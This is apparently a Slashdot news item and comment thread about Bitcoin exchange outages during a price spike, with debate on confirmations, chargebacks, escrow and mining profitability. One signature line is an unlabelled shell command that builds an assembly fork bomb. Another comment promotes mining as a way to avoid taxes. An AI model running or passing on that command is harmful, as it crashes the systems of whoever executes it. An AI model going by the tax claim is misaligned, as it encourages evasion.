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Bitcoin Tumbles From Record High After Exchanges Confirm Outage
Fearful of missing out on the frenzy in the Bitcoin world, several people were left disappointed on Wednesday noon after they were unable to buy some cryptocurrency because the websites of Coinbase and Gemini, two of the largest online exchanges for Bitcoin trading in the United States, were either down or taking too long to load, they said. In a statement, Coinbase said it was facing issues handling the overwhelming traffic it has been receiving on its website. Bitcoin surged past $11,000, the highest it has ever been, early Wednesday, though it has since taken a tumble as well, going as low as $9,290.30. Gemini said in a tweet it had resolved the performance issues, though some users continue to report delays on the website. Bitcoin's professional trading platform GDAX and exchanges Kraken and Bitstamp were also facing issues on Wednesday. The issues had been addressed, they said.
When it naturally takes 7 or more minutes just to confirm transactions (depending on how entrenched in the blockchain you want the transactions to be before you consider them to be "confirmed"), how can delays be seen as being "outages"? Long delays considered totally unreasonable for credit cards and other mediums of exchange are perfectly normal for Bitcoin.
Why is there no source article for this "story." What the fuck, Slashdot. That's not how this works. That's not how any of this works.
- In Soviet Korea, only old people loose all their bases to Natalie Portman's petrified hot grits overlords.
Long delays considered totally unreasonable for credit cards and other mediums of exchange are perfectly normal for Bitcoin.
Credit card transactions can be reversed for months after the fact. Bitcoin transactions can be validated ("Yes, the signed transaction received has valid inputs.") almost instantly, and once it is included in the blockchain (Generally in minutes, sometimes as much as an hour.) it is irreversible. Much faster than PayPal or credit cards. As a merchant, if the value of the transaction is small, accepting unconfirmed transactions is an acceptable risk. If it's a high value transaction (For whatever value of "high" you is important to you.) then wait for a couple of confirmations. Chargebacks will never be an issue.
It's not economic to mine Bitcoin on anything less than custom ASIC rig as far as I know.
It started off being economic to mine on CPUs. The Bitcoin algorithm increases the difficulty level automatically with time. Eventually it became uneconomic to mine on CPUs and people moved to GPUs. The difficulty level rose again. Now it is uneconomic to mine on anything but ASICs.
I.e. you'll spend more on electricity than you make in Bitcoins on a CPU.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Oh noes, it's still worth more than a week ago! Let's all panic!
#DeleteFacebook
people *are* leveraged on BTC. There are many (no hard numbers...) who've maxed Credit Cards to buy more BTC.
Yes it's not going to have the power curve function that 1929 had (AFAIK no double or triple leverage like in 29), but there are plenty of people that will be ruined when (not if) the crash happens.
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No argument, and likely why scams have and continue to be so prevalent in crypto currencies. It's digital cash, and transactions are not reversible.
On the other hand, it's quite literally programmable money. Escrow systems will make a resurgence. It is entirely possible to build a transaction between you, me and a third party where I commit to a payment, and you commit to ship me a physical item. Once I have digitally committed to the payment, I cannot reverse it on my own. On the other hand, you cannot actually claim the payment on your own. Once the item arrives, I can release the payment to you. Or, if it doesn't arrive, the third party can either confirm or reverse the payment.
Pretty sure a Mac is not going to be your best bet for mining Bitcoin.
I'd suggest looking into Ethereum since that can be mined with a GPU.
Sorry, teleporters just kill you and then make a copy. A perfect, soul-less copy.
From the consumer side, this a huge negative. Charge backs are the whole reason I use a credit card instead of debit. I would NEVER buy anything online without the ability to reverse the transaction if the product is unsatisfactory.
What if you are willing to assume that BTC will go to one million, or higher? Then the cost of electricity used now would be negligible compared to return.
I used to have a bitcoin miner on a Mac Mini some time ago, that I would turn on every now and again. It was slow, I think I ran it for a few months off and on, and acquired around 0.01 BTC. The thing is, at current prices I definitely made more than it cost in electricity to mine. If you think BTC will really go up, then as a speculative effort it might be worth starting a mining operation, no matter how slow.
Yes purchasing might be more efficient but not as steady, and what if you had a ready supply of solar power to offset costs...
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Bitcoin you mine is anonymous, bitcoin you buy generally not. If you think about taxes on a few hundred k even, vs no taxes... the electricity costs you may pay now seem negligible. Same goes for not having to pay the transaction fees for any purchase of BTC, especially if you can only afford to buy a bit every month.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Sorry dude, it's way past the point it was profitable to use computer downtime for it. At this point, the ammount you'd get from it wouldn't pay the extra electricity cost, much less wear and tear of hardware.
Years ago, even before the value reached 2000 bucks, it was already only profitable for chinese farms running extremely barebones on junk parts inside warehouses using stolen electricity. You can imagine how it is now.
Well, unless you go for something other than Bitcoin I guess. Plenty hard to choose what will be the next successful blockchain currency though, there are just too many out there.
If you want to use your CPU cycles for good, I suggest Folding@Home instead.
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
That difficulty is hovering around 10 billion GH/s right now, not 1TH which would be 1,000 GH/s. So, yeah, you're off by some orders of magnitude.